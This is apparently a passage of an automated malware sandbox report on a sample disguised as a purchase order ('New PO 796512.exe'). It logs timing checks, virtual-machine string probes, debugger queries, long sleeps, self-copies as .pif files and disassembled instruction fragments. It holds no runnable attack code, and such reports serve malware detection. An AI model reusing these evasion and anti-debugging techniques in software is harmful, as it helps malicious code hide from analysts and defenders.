          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 2E09B6E second address: 2E09B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Documents\New PO 796512.pifRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Documents\New PO 796512.pifRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cmd.exeRDTSC instruction interceptor: First address: 2839904 second address: 283990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cmd.exeRDTSC instruction interceptor: First address: 2839B6E second address: 2839B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Documents\New PO 796512.pif.pifRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Documents\New PO 796512.pif.pifRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cmd.exeRDTSC instruction interceptor: First address: 2F99904 second address: 2F9990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cmd.exeRDTSC instruction interceptor: First address: 2F99B6E second address: 2F99B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 649904 second address: 64990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 649B6E second address: 649B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\mstsc.exeRDTSC instruction interceptor: First address: 779904 second address: 77990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\mstsc.exeRDTSC instruction interceptor: First address: 779B6E second address: 779B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\New PO 796512.exeMemory allocated: 2E10000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeMemory allocated: 2F70000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeMemory allocated: 4F70000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifMemory allocated: 1770000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pifMemory allocated: 3120000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pifMemory allocated: 2F70000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pifMemory allocated: 910000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pifMemory allocated: 26B0000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pifMemory allocated: 24F0000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pifMemory allocated: 1360000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pifMemory allocated: 2E50000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pifMemory allocated: 2C80000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pifMemory allocated: 1240000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pifMemory allocated: 2DE0000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pifMemory allocated: 12B0000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMemory allocated: 14D0000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMemory allocated: 2E40000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMemory allocated: 4E40000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMemory allocated: 14B0000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMemory allocated: 2F20000 memory reserve | memory write watch
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMemory allocated: 4F20000 memory reserve | memory write watch
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_00409AA0 rdtsc 13_2_00409AA0
          Source: C:\Users\user\Desktop\New PO 796512.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 7965Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 1973Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 388Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeWindow / User API: threadDelayed 3624Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeWindow / User API: threadDelayed 6348Jump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI coverage: 1.7 %
          Source: C:\Users\user\Desktop\New PO 796512.exe TID: 4472Thread sleep time: -30000s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exe TID: 6700Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 2120Thread sleep time: -15930000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 2120Thread sleep time: -3946000s >= -30000sJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pif TID: 7908Thread sleep time: -30000s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif TID: 7892Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif TID: 2980Thread sleep time: -30000s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif TID: 1792Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif TID: 7392Thread sleep time: -30000s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif TID: 2724Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif TID: 2332Thread sleep time: -30000s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif TID: 1532Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pif TID: 7848Thread sleep time: -30000s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pif TID: 7856Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pif TID: 6708Thread sleep time: -30000s >= -30000s
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pif TID: 6312Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\msdt.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\msdt.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\New PO 796512.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifThread delayed: delay time: 922337203685477
          Source: explorer.exe, 0000000E.00000000.1363747749.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
          Source: explorer.exe, 0000000E.00000003.2272318925.0000000009013000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
          Source: explorer.exe, 0000000E.00000003.2276841105.000000000730A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_xU1
          Source: New PO 796512.pif, 00000014.00000002.1542953738.000000000148C000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1631425405.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1700979709.0000000001253000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000043.00000002.2013850338.00000000012E0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
          Source: New PO 796512.pif.pif, 0000002E.00000002.1840057622.0000000000F8E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
          Source: explorer.exe, 0000000E.00000002.2544994555.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
          Source: explorer.exe, 0000000E.00000003.2272318925.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
          Source: New PO 796512.exe, 00000001.00000002.1361858010.00000000012E2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-
          Source: explorer.exe, 0000000E.00000003.2272318925.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
          Source: explorer.exe, 0000000E.00000002.2544994555.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware20,1
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMWare
          Source: explorer.exe, 0000000E.00000002.2544994555.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
          Source: New PO 796512.pif.pif.pif, 00000036.00000002.1919742152.0000000001178000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllH
          Source: explorer.exe, 0000000E.00000003.2276841105.000000000730A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.0000000008F27000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWT`
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
          Source: explorer.exe, 0000000E.00000000.1363747749.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 0000000E.00000002.2534500028.000000000326A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000E.00000000.1363747749.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\cmd.exeProcess queried: DebugPort
          Source: C:\Users\user\Documents\New PO 796512.pifProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\msiexec.exeProcess queried: DebugPort
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\cmd.exeProcess queried: DebugPort
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\msdt.exeProcess queried: DebugPort
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\mstsc.exeProcess queried: DebugPort
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_00409AA0 rdtsc 13_2_00409AA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0040ACE0 LdrLoadDll,13_2_0040ACE0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01380124 mov eax, dword ptr fs:[00000030h]13_2_01380124
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FA118 mov ecx, dword ptr fs:[00000030h]13_2_013FA118
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FA118 mov eax, dword ptr fs:[00000030h]13_2_013FA118
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FA118 mov eax, dword ptr fs:[00000030h]13_2_013FA118
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FA118 mov eax, dword ptr fs:[00000030h]13_2_013FA118
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov eax, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov ecx, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov eax, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov eax, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov ecx, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov eax, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov eax, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov ecx, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov eax, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE10E mov ecx, dword ptr fs:[00000030h]13_2_013FE10E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01410115 mov eax, dword ptr fs:[00000030h]13_2_01410115
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356154 mov eax, dword ptr fs:[00000030h]13_2_01356154
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356154 mov eax, dword ptr fs:[00000030h]13_2_01356154
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134C156 mov eax, dword ptr fs:[00000030h]13_2_0134C156
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E8158 mov eax, dword ptr fs:[00000030h]13_2_013E8158
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E4144 mov eax, dword ptr fs:[00000030h]13_2_013E4144
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E4144 mov eax, dword ptr fs:[00000030h]13_2_013E4144
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E4144 mov ecx, dword ptr fs:[00000030h]13_2_013E4144
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E4144 mov eax, dword ptr fs:[00000030h]13_2_013E4144
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E4144 mov eax, dword ptr fs:[00000030h]13_2_013E4144
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014161C3 mov eax, dword ptr fs:[00000030h]13_2_014161C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014161C3 mov eax, dword ptr fs:[00000030h]13_2_014161C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D019F mov eax, dword ptr fs:[00000030h]13_2_013D019F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D019F mov eax, dword ptr fs:[00000030h]13_2_013D019F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D019F mov eax, dword ptr fs:[00000030h]13_2_013D019F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D019F mov eax, dword ptr fs:[00000030h]13_2_013D019F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134A197 mov eax, dword ptr fs:[00000030h]13_2_0134A197
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134A197 mov eax, dword ptr fs:[00000030h]13_2_0134A197
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134A197 mov eax, dword ptr fs:[00000030h]13_2_0134A197
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014261E5 mov eax, dword ptr fs:[00000030h]13_2_014261E5
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01390185 mov eax, dword ptr fs:[00000030h]13_2_01390185
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F4180 mov eax, dword ptr fs:[00000030h]13_2_013F4180
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F4180 mov eax, dword ptr fs:[00000030h]13_2_013F4180
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013801F8 mov eax, dword ptr fs:[00000030h]13_2_013801F8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140C188 mov eax, dword ptr fs:[00000030h]13_2_0140C188
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140C188 mov eax, dword ptr fs:[00000030h]13_2_0140C188
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE1D0 mov eax, dword ptr fs:[00000030h]13_2_013CE1D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE1D0 mov eax, dword ptr fs:[00000030h]13_2_013CE1D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE1D0 mov ecx, dword ptr fs:[00000030h]13_2_013CE1D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE1D0 mov eax, dword ptr fs:[00000030h]13_2_013CE1D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE1D0 mov eax, dword ptr fs:[00000030h]13_2_013CE1D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E6030 mov eax, dword ptr fs:[00000030h]13_2_013E6030
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134A020 mov eax, dword ptr fs:[00000030h]13_2_0134A020
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134C020 mov eax, dword ptr fs:[00000030h]13_2_0134C020
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E016 mov eax, dword ptr fs:[00000030h]13_2_0136E016
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E016 mov eax, dword ptr fs:[00000030h]13_2_0136E016
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E016 mov eax, dword ptr fs:[00000030h]13_2_0136E016
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E016 mov eax, dword ptr fs:[00000030h]13_2_0136E016
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D4000 mov ecx, dword ptr fs:[00000030h]13_2_013D4000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F2000 mov eax, dword ptr fs:[00000030h]13_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137C073 mov eax, dword ptr fs:[00000030h]13_2_0137C073
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01352050 mov eax, dword ptr fs:[00000030h]13_2_01352050
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6050 mov eax, dword ptr fs:[00000030h]13_2_013D6050
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E80A8 mov eax, dword ptr fs:[00000030h]13_2_013E80A8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135208A mov eax, dword ptr fs:[00000030h]13_2_0135208A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134C0F0 mov eax, dword ptr fs:[00000030h]13_2_0134C0F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013920F0 mov ecx, dword ptr fs:[00000030h]13_2_013920F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134A0E3 mov ecx, dword ptr fs:[00000030h]13_2_0134A0E3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013580E9 mov eax, dword ptr fs:[00000030h]13_2_013580E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D60E0 mov eax, dword ptr fs:[00000030h]13_2_013D60E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D20DE mov eax, dword ptr fs:[00000030h]13_2_013D20DE
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014160B8 mov eax, dword ptr fs:[00000030h]13_2_014160B8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014160B8 mov ecx, dword ptr fs:[00000030h]13_2_014160B8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141A352 mov eax, dword ptr fs:[00000030h]13_2_0141A352
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134C310 mov ecx, dword ptr fs:[00000030h]13_2_0134C310
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01370310 mov ecx, dword ptr fs:[00000030h]13_2_01370310
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A30B mov eax, dword ptr fs:[00000030h]13_2_0138A30B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A30B mov eax, dword ptr fs:[00000030h]13_2_0138A30B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A30B mov eax, dword ptr fs:[00000030h]13_2_0138A30B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F437C mov eax, dword ptr fs:[00000030h]13_2_013F437C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D035C mov eax, dword ptr fs:[00000030h]13_2_013D035C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D035C mov eax, dword ptr fs:[00000030h]13_2_013D035C
